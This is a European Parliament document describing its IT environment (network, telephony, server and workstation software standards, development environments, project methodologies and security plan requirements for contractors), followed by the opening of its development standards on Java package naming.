European Parliament IT Environment Version : 22 · 3.1.4 Network administration Administration of Parliament's network is handled via redundant stations at each site. 3.2 Telephony

European Parliament IT Environment

Version : 22

Exported on 06/12/2019


2

Table of Contents

1 General Introduction .................................................................................. 31.1 Purpose.............................................................................................................................3

1.2 Glossary ............................................................................................................................3

2 Context ........................................................................................................ 42.1 Main Parliament sites ......................................................................................................4

2.2 IT organisational setup....................................................................................................4

3 IT Environment............................................................................................ 63.1 Network infrastructure ....................................................................................................6

3.1.1 Local Area Networks (LAN) ..........................................................................................................6

3.1.2 Wide Area Networks (WAN) ..........................................................................................................6

3.1.3 Building wiring .............................................................................................................................6

3.1.4 Network administration ..............................................................................................................6

3.2 Telephony.........................................................................................................................6

3.3 Servers ..............................................................................................................................7

3.3.1 Servers for centralised IT management in Parliament ..............................................................7

3.3.2 Servers to cover departmental needs .........................................................................................9

3.4 Workstations ..................................................................................................................11

3.5 Mobile devices................................................................................................................12

4 Environments for development of centralised applications.................. 134.1 Development environment ...........................................................................................13

4.2 Pre-production environment ........................................................................................13

4.3 Production environment ...............................................................................................13

4.4 Other environments.......................................................................................................13

5 Directorates' recommendations and strategic guidelines ..................... 145.1 Development standards ................................................................................................14

5.2 Other standards .............................................................................................................14

5.3 Methodological recommendations...............................................................................14

5.4 Security at EP ................................................................................................................15

5.4.1 Security Plan ...............................................................................................................................15


3

1 General Introduction

1.1 PurposeThe main objective is to present the European Parliament's IT environment.

1.2 Glossary

Abbreviation Description

DG ITEC Directorate General for Innovation and Technological Support

DES Directorate for Development and Support

ESIO Directorate for Infrastructure and Equipment

OPERATIONS ICT Operations and Hosting Unit

EP European Parliament

Europarl European Parliament's website www.europarl.europa.eu

BPM Business analysis and Project Management Department

CISO Chief Information Systems Security Officer

LSA Local System Administrator

LSU Local Support Unit

RHEL RedHat Enterprise Linux

http://www.europarl.europa.eu/


4

2 Context

2.1 Main Parliament sitesParliament has three main sites:

• Strasbourg, where ordinary part-sessions are held (one week a month on average);• Brussels, which mainly hosts parliamentary committee meetings and the political groups; the

additional part-sessions are held there; MEPs' offices, political group secretariats and some Parliament Secretariat departments are located there;

• Luxembourg, where the other Parliament Secretariat departments are located.

In those three cities, Parliament occupies a number of buildings containing offices and meeting rooms; it also has information offices in all EU Member States.

Mobility is a major feature of Parliament's working environment and comes into play at various levels:

• between the main sites - Brussels, Luxembourg and Strasbourg - depending on the Parliament activity concerned;

• within each site, all of which are made up of a number of buildings;• between premises, within EU Member States, which may or may not be owned by Parliament;• more globally for specific user categories (nomadic workers or teleworkers).

2.2 IT organisational setupThe information and communications technologies used within Parliament are provided by the Directorate-General for Innovation and Technological Support (ITEC), through its two directorates - Directorate for Development and Support (DES) and – Directorate for Infrastructure and Equipment (ESIO).

DES and ESIO operate in the context of partial IT decentralisation, combining what they contribute centrally with what IT teams contribute locally, within directorates-general (DGs) and political group secretariats, to the running of Parliament's information and communications systems.

IT management at departmental level (DGs and political groups) is handled by Local Support Units (LSU). Each LSU is administered by a Local System Administrator (LSA) team.

DG ITEC/DES and DG ITEC/ESIO 's central-level responsibilities are:

• to devise and grow infrastructure and architecture facilities (servers, work stations, networks, telecoms, security, etc.);

• to lay down methodological and technical rules and standards and verify compliance with them;

• to look for, test and implement new hardware and software solutions;• to develop and maintain central applications intended for all in-house and external users

(Intranet and Internet respectively) and central applications intended for a number of organisational units (DGs, political groups, directorates, units, services, etc.);

• to provide LSA teams and end users with general second-level hardware and software support.


5

• to provide first level hardware and software support to end users in specific parts of the EP end users populations (e.g. MEPs, certain DGs, special services).

LSA teams' responsibilities are:

• to manage departmental equipment (departmental servers, work stations, peripherals, etc.);• to develop and maintain departmental applications intended for users within the same

organisational unit;• to provide end users with first-level hardware and software support (if not provided by DES).


6

3 IT Environment

3.1 Network infrastructureParliament currently has a routed TCP/IP network infrastructure.

3.1.1 Local Area Networks (LAN)The following LAN technologies are used at present:

• Switching Ethernet• VLAN• Fast Ethernet / Gigabit Ethernet / 10 Gigabit Ethernet / 40 Gigabit Ethernet• QoS

3.1.2 Wide Area Networks (WAN)Parliament's main sites - Brussels, Luxembourg and Strasbourg - are interlinked via a WAN designated EPINET HD with roughly 1 Gbit to 10 Gbit (on specific links) TCP/IP throughput.

MPLS protocol is mainly used to carry Data, Telephony, and TV streams.

Parliament has various resources for external communications:

• Internet;• Network interlinking the European Institutions and the Member States.

3.1.3 Building wiringIT wiring in all Parliament buildings is based on the following rules:

• horizontal cabling: multipurpose wiring, four twisted pairs, Category 5, 6, 6A or 7;• vertical cabling: multi-mode optical fibre / monomode optical fibre / twisted pairs.

At the Brussels, Luxembourg and Strasbourg sites, copper wiring and optical fibres (single-mode and multi-mode) are the main media used for interconnecting buildings.

3.1.4 Network administrationAdministration of Parliament's network is handled via redundant stations at each site.

3.2 TelephonySince 2017, European Parliament’s telephony is based on the Cisco telephony over IP solution. The main elements of the new Cisco-based telephony system are the following: Cisco IP phones, mostly videoconference-enabled, for all nominative users. Analogue phones, connected to redundant telephony


7

gateways, serve as emergency phones in the corridors and elevators. Cisco UCCX supports over 10 call centres internal to European Parliament. Cisco UNITY Connection supports European Parliament’s voice messaging system. Cisco Unified Presence server provides Chat and Presence capability and Cisco Jabber is in place for software telephony from PCs and mobile devices. JDM Software’s Peterconnects system is the main tool of European Parliament’s switchboard. A Rightfax fax-server, integrated with Microsoft Outlook for receipt and transmission of faxes, replaced the individual fax-machines. The Kurmi unified provisioning and self-care product is integrated with the unified communications environment and with corporate directories such as Active Directory. Mind's PhonEX ONE solution is used for call accounting and analytics. Nuance Vocal III is the tool used by the interpreters to get their daily tasks by a simple phone call.

3.3 Servers

3.3.1 Servers for centralised IT management in ParliamentESIO's computer centre houses Windows, UNIX and LINUX servers for centralised IT management in Parliament. The servers provide the following services:

• Windows servers:

• File servers, terminal server, system supervision;• Logon validation services (Active Directory), DNS, DHCP, folder replication, data transfer,

remote access services via Windows Terminal Services, application servers;• E-mail, Europarl Intranet/Internet;

• UNIX servers:

• Database servers (Oracle, Adabas), file servers, web servers, application servers, backup servers;

• DNS and LDAP directory services;• SSO authentication and authorization;• Europarl Intranet/Internet, centralised-application hosting.

• LINUX servers:

• RedHat Enterprise Linux (RHEL).

The computer centre also has NAS and SAN storage infrastructure.

The following table sets out Parliament's standard hardware and software configurations for servers and gives some indication of trends:

Hardware Current minimum configurations

New configurations / developments

VMware servers: x86 (Intel) 10-Core Quad-processor New processor generation with higher clock rates


8

Windows servers: x86 (Intel) 8-Core Dual-processor Blade

x86 (Intel) 8-Core Dual-processor

New processor generation with higher clock rates

UNIX servers: SPARC64 VII

Intel Xeon 6-Core Dual-processor

AMD Opteron Quad-core Dual-processor

No extension planned

Software Current configurations Developments / Trends

Operating system: Windows 2008 r2 Enterprise 64 Bits

Windows 2012 r2 Enterprise 64 Bits


RHEL 6 (phase out)

RHEL 7

SUN Solaris 10 SPARC and X86 X86

Database Management System (DBMS):

Oracle 11g R2

* including Binary XML

* including Semantic Technologies (Triple Store)

PostgreSQL 9.1

CouchDB 1.5.1

Oracle 18

PostgreSQL 9.4+

CouchDB 1.5.1+

Adabas V6.2.1 No extension planned

Application server: Tomcat 7.0.x (phase out)

Tomcat 8

Tomcat 9.0.x

Search engine ElasticSearch - LAN: 5.x - DMZ & cloud: 6.x


9

Messaging server HornetQ 2.2.x (phase out)

Apache ActiveMQ Artemis 1.4.x

Apache ActiveMQ Artemis 2.x

Web server: IIS 6 (Windows 2003) (Phase out)

IIS 7 (Windows 2008 R2)


Reverse Proxy Apache HttpD 2.4.x (Phase out)

NGINX 1.8 NGINX 1.10

Reporting and analysis tool: SAP BI 4.1 SAP BI 4.2

Business Process Management (BPM):

ARIS Connect Platform 9.x:

• ARIS Connect server• ARIS Connect viewers• ARIS Architect• ARIS Publisher• ARIS Process

Governance• ARIS Architect for SAP

Unified Modeling Language 2.1 tool (UML)

MagicDraw 18. x

McAfee Anti-virus solution Viruscan Enterprise 8.8 HIPS 8.0 for server and future evolutions of Viruscan Enterprise

Document conversion Adlib Express Server 4.12

OpenOffice 4.x

Adlib Express Server 5.3

3.3.2 Servers to cover departmental needsWindows, UNIX and LINUX servers are accommodated in the DGs and political groups, to cover departmental needs. The servers provide the following services:

• Windows servers:

• Database servers (Oracle), file servers, print servers, web servers, application servers;

• LINUX servers:

• RedHat Enterprise Linux (RHEL),


10

• Database servers (Oracle, PostgreSQL, Apache CouchDB)• Application servers, Web servers (Apache HttpD, Tomcat)• File servers, Print servers (samba, nfs, cups)

Hardware Current minimum configurations

New configurations / developments

Windows and Linux servers: x86 (AMD and Intel) 10 Cores Dual-processor,

x86 (AMD and Intel) 10 Cores Quad-processor

New dual processor generation with higher clock rates

Software Current configurations Developments / Trends

Operating system: Windows 2003 SP2 (phase out)

Windows 2008 r2Enterprise 64 Bits (phase out)



RHEL 6 (phase out)

RHEL 7

Database Management System (DBMS):

Oracle 12c1

* including Binary XML

* including Semantic Technologies (Triple Store)

PostgreSQL 9.1

CouchDB 1.5.1

Oracle 18

PostgreSQL 9.4+

CouchDB 1.5.1+

Application server: Tomcat 7.0.x (phase out)

Tomcat 8

Tomcat 9.0.x

Search engine ElasticSearch - LAN: 5.x - DMZ & cloud: 6.x

Messaging server HornetQ 2.2.x (phase out)

Apache ActiveMQ Artemis 1.4.x

Apache ActiveMQ Artemis 2.x


11

Web server: IIS 6 (Windows 2003) (Phase out)



Apache HttpD 2.4.x (restricted use)

With regard to software, Parliament is taking an open source solution approach whenever possible. Special arrangements governing the acquisition and use of open source software are submitted for validation.

Tools are used for server administration, supervision and backup at central and departmental level.

As part of departmental projects, Parliament provides:

- Physical and virtual servers

- Operating systems

- WSUS to update security patches

- Antivirus

These servers will have to be maintained, according to the standards of Parliament.The developments and software must be compatible with the supported operating systems

3.4 WorkstationsParliament's workstations run in a Windows environment. Users and resources are managed through one specific Active Directory domain. A DNS structure is used for name resolution.

In order to meet specific needs with regard to applications, together with management, security and portability requirements, Parliament has defined a standard configuration seeking to make workstations totally user-independent and give users an enhanced level of service based on the portability of their parameters and documents.

The following table sets out Parliament's standard hardware and software configurations for work stations and gives some indication of trends:

Hardware Current minimum configurations New configurations / developments

Intel Pentium G3440 (3,3GHz); 8 GB, SSD 128GB, NIC 10/100/1000, DVD-ROM, USB

Evolution of the standard PC configuration

Software Current configurations New configurations / developments


12

Operating system: Windows 10 Enterprise SAC 1703

Windows 10 Enterprise SAC 1809

Office suite: Office 2016 32 bits Office 2016 32 bits

Mail user agent: Outlook 2016 32 bits Outlook 2016 32 bits

Web client: MS Edge

Internet Explorer 11

Firefox ESR 52.7.2

MS Edge

Internet Explorer 11

Firefox ESR 68

McAfee anti-virus solution VSE 8.8 and HIPS 8.8 P11 McAfee ENS 10.6.1

3.5 Mobile devicesThe European Parliament is introducing mobile devices (more precisely tablets) within the Institution, the main objective is to implement the 3 following technologies: IOS, Android and Windows.


13

4 Environments for development of centralised applicationsFor centralised applications hosted at the ESIO's computer centre, the following environments are provided:

4.1 Development environmentA development environment with the following components:

• Servers: server development instances (for application servers, Oracle database servers and source management servers), development of servers shared by various environments (LDAP directory);

• Developer stations: work stations with a standard configuration including the development platform.

4.2 Pre-production environmentA dedicated pre-production environment for tests to validate an application (user acceptance tests and integration tests, applications load tests and vulnerabilities tests) before any move to go into production. This environment, which is similar to the production environment, is made up of the following components:

• Servers: server pre-production instances (for application servers, Oracle database servers and source management servers), development of servers shared by various environments (LDAP directory); the move from the development environment to the pre-production environment, where an application is deployed on pre-production servers, is handled by the computer centre;

• Tester stations: work stations with a standard configuration including tools for validating an application before any move to go into production.

4.3 Production environmentA production environment fully managed by the computer centre, with the move from pre-production to production environment, where an application is deployed on production servers, being handled by the computer centre.

4.4 Other environmentsA dedicated training environment is also available, as is a data warehouse.

At the server end and at the developer/user work station end, the configuration parameters for each environment and their upgrades are defined by the computer centre and by the ESIO's STANDARDS Unit respectively.


14

5 Directorates' recommendations and strategic guidelinesIn general, the applications base is evolving in a light web client direction. Heavy client applications are being phased out in favour of the light client model. Man-machine interfaces must comply with the ergonomic standards laid down by DG ITEC.

5.1 Development standardsThe standard technologies and tools to use for web application development and maintenance in the European Parliament are selected are available on the EP Foundry website.

These standards shall be taken into account for any new software development produced for the European Parliament, whatever they are on-premises or externalized (including the Cloud).

5.2 Other standardsThe DG ITEC have also opted for the following standards:

• Oracle (DBMS used at central and departmental levels),• PostgreSQL,• ARIS Design Platform (Business Process Management and Modelling Tool),• SAP Business Intelligence (reporting and analysis tool),• RedHat Enterprise Linux,• McAfee anti-virus solution: VSE 8.8 and HIPS 8.0.

DG ITEC pays the utmost attention to multi-platform usability of applications and to compliance with the methodologies, rules and standards it lays down.

5.3 Methodological recommendationsDG ITEC has implemented the following:

• A methodological framework ENGAGE which includes a set of specific methods:

• A method for managing GENeric projects based on the PMBok (Project Management Body of Knowledge) of PMI (Project Management Institute);

• ENGAGE-GEN is supported by a set of templates, guides or procedures and by specific workshops.

• A modelling and business analysis method (ENGAGE-BPA formerly BPMM4EP):• ENGAGE-BPA is supported by a set of templates, guides or procedures and by

specific workshops.• A method for managing IT projects (ENGAGE-IT formerly PMM4EP) based on the PMBok

(Project Management Body of Knowledge) of PMI (Project Management Institute); a version Agile based on SCRUM is available:

• ENGAGE-IT is supported by a set of templates, guides or procedures and by specific workshops.

https://ep-foundry.in.ep.europa.eu/standards/


15

• A method for managing INFRAstructure projects (ENGAGE-INFRA formerly IPM4EP) based on the PMBok (Project Management Body of Knowledge) of PMI (Project Management Institute):

• ENGAGE-INFRA is supported by a set of templates, guides or procedures and by specific workshops.

• A method for the Workload Estimation (WEM4EP) based on ISO standards (Function Point Analysis (FPA), NESMA, IFPUG). The first implementation of WEM4EP, "indicative estimation", is based on the 'Business Case' that comes out of the BPM phase and is obtained by completing an on line form.

• A method for the program management (PP04EP) based on " The standard for Program Management Second Edition";

• PPO4EP is supported by a set of templates, guides or procedures and by specific workshops.

All necessary information on the DG ITEC 's recommendations and strategic guidelines will be provided to the successful bidder.

5.4 Security at EP The end-point security solution working at EP is:

McAfee Endpoint Security Suite:

1. Viruscan Enterprise 8.8. The software is an anti-virus including access protection feature and the classical file scanning. It is progressively migrated to ENS;

2. ENS 10.6: AV replacing VSE;3. HIPS 8.0 from McAfee. This software is a Host Intrusion Prevention System which

completes the anti-virus.4. McAfee file and removable media protection (FRP), v.5 (optional);5. McAfee Endpoint Encryption for PC version 7.2 (optional);

Optional security software is also available in specific cases:

• Symantec PGP encryption desktop version 10.4;• GPG4Win version 3.

These pieces of software are a compulsory part of EP the Standard Configuration. The compatibility of any software with the McAfee solution must be checked as a pre-condition of any new project.

It is also highly recommended to consider the group policies (GPO) in force at the European Parliament. These policies require a set of rules. For example, for a Web application, it is not possible to download a font if it is not installed on an EP-domain.

All applications and servers connected to the EP infrastructure are subject to regular ICT security assessments (vulnerability scans, pentests...) using various tools.

5.4.1 Security PlanAll newly developed or acquired solutions shall be secure by design and come with a Security Plan compliant with the following rules:


16

1. Sensitive and personal data protection

• The Security Plan shall demonstrate compliance with GDPR and regulation EC 2018/1725 that lays down the obligations for the EU institutions. In case of a Security breach, the provider shall notify the EP immediately;

• The contractual arrangements must guarantee that data are always property of the EP;• Data leakage risk shall be explicitly addressed in the security plan;• The security plan shall demonstrate how the data shall be recovered by the EP and erased at

the end of use of the solution;• The security plan must confirm that EU Personal and sensitive Data will only be processed in

contractually-agreed EU locations or, alternatively, that Personal Data processing in non-EU locations would comply with EU legislation;

• No external provider shall perform any EP sensitive or personal data processing for statistics/metrics or similar goals, nor export data to third parties;

• The Security Plan shall ensure that data can't be accidentally or maliciously altered;

2. Availability and continuity

• The contractor must establish a BCP/DRP and demonstrate that the technical architecture allows an availability level in line with the needs expressed by the EP;

• In particular, the provider shall demonstrate that an appropriate protection against Denial of Service attacks is implemented;

• Disaster recovery, backup and restore plans shall be described and tested;

3. Security design/development lifecycle

• The Security Plan shall identify the main Information Security risks in a structured way (methodology compliant with ISO 27005), explicit the risk coverage policy and demonstrate how the Security Controls cover the identified risks;

• The Security Plan shall address Security during development, installation and configuration time, but also during operations and decommission phase;

• The contractor will describe the maturity model used to implement their products and solutions

• Any new application developed internally or externally shall comply with secure coding standards and recognized applicative security frameworks (e.g. OWASP);

• The solution shall be subject to source code Security review;• No new IT solution relying on the European Parliament IT systems should require any

downgrade of the security configuration nor administrative privileges to run;• All components of the solution shall be subject to active Security Maintenance, including

regular Security patching. Obsolete components shall be replaced without delay with new ones compliant with state-of-the-art standards;

• The contractor must provide a security operations document for the solution;• Security of the Communication channels:

• All communication channels (protocols, ports...) shall be documented;• Unused ports must be disabled or protected with local host firewall;• IP forwarding and port forwarding capabilities must be disabled in all hosts unless

explicitly needed;• No new IT solution shall access Internet directly, but instead go through the security

systems of the European Parliament;• Only secure protocols (authenticated, encrypted) must be used to implement

communications (HTTPS, LDAP-S, SFTP...);


17

• Only TLS v1.2 or v1.3 will be used in secure protocols. Older TLS/SSL versions must not be deployed;

• HTTPS connections must only support TLS protocol versions with state-of-the-art ciphers. Weak ciphers such as RC4 are forbidden;

• SSH connections must only support TLS protocol versions with state-of-the-art ciphers;• All FWs deployed in the solutions (host, appliances) must use a default reject rule;

• Identity and access management:• Roles and privileges must be properly segregated and managed;• The “least privilege” principle shall be applied;• Privileged accounts shall be protected by strong authentication and monitored;• Password complexity rules shall comply with state-of-the-art and EP standards;• Any new IT solution requiring user authentication for the purpose of access control

should rely on the standard authentication solution in place at the European Parliament. Access control mechanisms shall be described in details. When possible, the solution must be integrated with existing SSO identity provider;

• Inactive accounts must be removed or disabled;• Generic service accounts (non-nominal) must only exist for M2M (machine-to-machine).

These accounts must be configured to avoid human login;• Passwords will never be stored in clear text;• The solution must be able to issue temporary passwords for first use. Users must be

requested to change this temporary password after first use. These temporary passwords will never be sent in clear text;

• Security-related events shall be recorded and stored for monitoring and further analysis:• The solution shall be able to integrate with a centralized log collection and SIEM

framework (currently Splunk). This chapter shall be clearly documented in the security plan;

• The solution must allow to filter what type of logs are sent to the log collection system;• In case SNMP is used, it must be version 3;

• Hardening:• All the components of the solution (OS, applications) must be hardened with state-of-

the-art EP configuration control images;• It is recommended that all the modules of the solution be compliant with (minimum)

80% of the standard CIS-CAT Level 2;• Web interface security:

• The contractor must provide an exhaustive list of all web interfaces and APIs available in the solution;

• All web interfaces and APIs must not be subject to any of the application vulnerabilities and risks defined by OWASP. The contractor must correct all vulnerabilities and risks found during an OWASP scan of the web interface or the API;

• Certificates:• All the certificates used by the solution must come from CAs trusted by the EP;• The validity period shall be aligned with the application’s sensitivity and verified before

each usage;• Anti malware/IDS:

• All the solutions deployed must be compatible with the different McAfee products deployed in the EP infrastructure;

• DB security:• All connections to DBs must be protected by credentials;


18

• All passwords in DBs must not be stored in clear, but using a cryptographic function;• DoS/DDos

• The contractor must demonstrate that the solution is designed to offer a level of resilience corresponding to its criticality.

4. Security assurance

• Any new IT solution shall undergo a complete vulnerability assessment in its final installation and configuration state, performed either by the EP CISO team or by a certified third party;

• The provider shall communicate to the EP CISO the external audit reports with the corresponding audit scope descriptions and statements of applicability for security controls;

• The Security assessments shall be performed on a regular basis throughout the Application/Service lifecycle in the same conditions as the initial one;

• The contractor shall agree to let the EP CISO team perform a Security Assessment of the live system at any time;

• In the frame of Security maintenance, the contractor must demonstrate to be aware of security advisories and CVE information for all the components used to develop the solution;

• The contractor shall commit to remediating findings and vulnerabilities without delay;• If logs are not collected in real time, the EP CISO team can request at any time a report based

on the audit logs or an extract of those logs (e.g. for knowing who has accessed what data).

EP Development StandardsComplete list

European Parliament

Version v1.2, 2019-10-17

Table of Contents1. DEVELOPMENT STANDARDS OVERVIEW . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

1.1. EP DEVELOPMENT STANDARDS OVERVIEW . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11.1.1. GENERAL INTRODUCTION . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11.1.2. NORMS, STANDARDS AND TOOLING . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11.1.3. PRESENTATION LAYER . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 51.1.4. BUSINESS LAYER AND INTERACTION BETWEEN LAYERS . . . . . . . . . . . . . . . . . . . . 61.1.5. PERSISTENCE LAYER . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81.1.6. INTEGRATION/REMOTING . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 91.1.7. CROSS-CUTTING CONCERNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111.1.8. APPENDICES . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 14

2. DETAILED STANDARDS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172.1. DEVELOPMENT TOOLS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17

2.1.1. JDK/JRE. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172.1.2. Source Control Management (SCM) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182.1.3. Software build. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 192.1.4. Servlet Container. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 222.1.5. Messaging Broker . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 232.1.6. Integrated Development Environment (IDE) . . . . . . . . . . . . . . . . . . . . . . . . . 24

2.2. PRESENTATION LAYER . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252.2.1. Web User Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 252.2.2. Server-side APIs . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32

2.3. BUSINESS LAYER . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 342.3.1. POJO-based business layer. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34

2.4. PERSISTENCE LAYER . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 392.4.1. ORM (Object-relational mapping) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 392.4.2. JDBC (Java Database Connectivity) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41

2.5. INTEGRATION/REMOTING . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 422.5.1. REST web services . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 422.5.2. JMS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 442.5.3. Mediation / Enterprise Integration Patterns (EIP) . . . . . . . . . . . . . . . . . . . . . . 50

2.6. SECURITY . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 522.6.1. Application Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 522.6.2. OWASP Security . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 66

2.7. CODE TESTING. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 772.7.1. Unit tests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 772.7.2. Behaviour driven tests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 792.7.3. Acceptance tests . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81

2.8. CROSS-CUTTING CONCERNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 832.8.1. Cache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 832.8.2. Validation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 852.8.3. Configuration . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 862.8.4. Logging . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 892.8.5. Indexation/Search engine . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 912.8.6. Workflow . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 922.8.7. OXM (Object-XML mapping) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 932.8.8. JSON Handling. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 962.8.9. Mail. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 972.8.10. LDAP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 100

3. CHANGELOG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1013.1. EP Development Standards v1.2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101

3.1.1. Special Notes. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1013.1.2. Added . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1013.1.3. Changed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1013.1.4. Fixed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1013.1.5. Removed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101

3.2. EP Development Standards v1.1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1023.2.1. Special Notes. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1023.2.2. Added . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1023.2.3. Changed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1023.2.4. Fixed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1023.2.5. Removed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 102

3.3. EP Development Standards v1.0 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1023.3.1. Special Notes. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1023.3.2. Added . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1033.3.3. Changed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1033.3.4. Fixed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1033.3.5. Removed . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103

The current document covers the complete list of standards that applyfor software developments made for the European Parliament.

1. DEVELOPMENT STANDARDS OVERVIEW1.1. EP DEVELOPMENT STANDARDS OVERVIEW

1.1.1. GENERAL INTRODUCTION

1.1.1.1. Purpose

The current document summarizes standards that apply for software developments made forthe European Parliament.

1.1.1.2. Disclaimer

The current document specifies standards which MUST be taken into account for any newsoftware developments produced for the European Parliament, whether it is carried out withinthe European Parliament premises or externalized, whether it is carried out with a fixed-pricecontract, or not.

All technologies and versions of libraries specified in this document are valid at the time thisdocument is released, and until a newer version of this document is specified and published.

1.1.1.3. Versions compatibility

Indicative versions compatibility for frameworks, libraries or specifications(when not specified) can be found in appendix. Any precise requirementmust be asked for when a project starts and along its lifecycle, or during itsmaintenance.

1.1.2. NORMS, STANDARDS AND TOOLING

1.1.2.1. Global considerations

European Parliament developments mostly rely on open source software and open standards.Any proprietary software or proprietary binary format must be avoided.

It is supported to use a layered architecture, clearly decoupling presentation layer frombusiness layer, and persistence layer.

Integration and remoting must be kept out of the business code itself, through the use ofPOJOs, delegates, dependency injection, and possibly AOP.

Applications must use as much as possible a stateless conversational model, which means thatit is advised to use frameworks or solutions which save the state whether on the client side,orin a data store, as opposed to saving valuable state in sessions.

1.1.2.2. Package/Namespace naming

The concept of namespace, materialized in e.g. Java packages and Maven artifacts groupIds isa way to gather sources or binaries together and sort them properly by convention.

The advised usage is to start from a reversed URL namespace, and to elaborate from there.

Therefore, Java packages/Maven groupIds must use EP’s public namespace (fully qualified

EP Development Standards

Page 1 of 103

domain name), after reversing it in order to go from global to specific.

URL namespaces examples, each from specific to global

eueuropa.eueuroparl.europa.eudomain.europarl.europa.eu

Table 1. Java Package namespaces (or Maven groupIds) examples, each from global to specific(Reversed)

eu the equivalent of org. or com. likely to beempty

eu.europa may contain inter-institutional code, notforeseen yet.

eu.europa.europarl may contain common code for all theEuropean Parliament. Must be scoped.

eu.europa.europarl.foundry contains EP Foundry Code. No need to add"ep" again.

eu.europa.europarl.<application>(.<module>)

contains code for application (or component)with id placed in <application>, optionallyspecifying a <module> name.

eu.europa.europarl.<functionaldomain>.<application>

classifies applications or components in afunctional domain. like translation orcommunication BUT NOT e.g. dgtrad ordgcomm (see TO BE AVOIDED below)

AVOID using namespaces including internal organisational unit or any type oftemporary organization (such as a management program).

Except if you’re sure they’re going to remain for a long time (as long as theinstitution name for example, such as Secretary General).

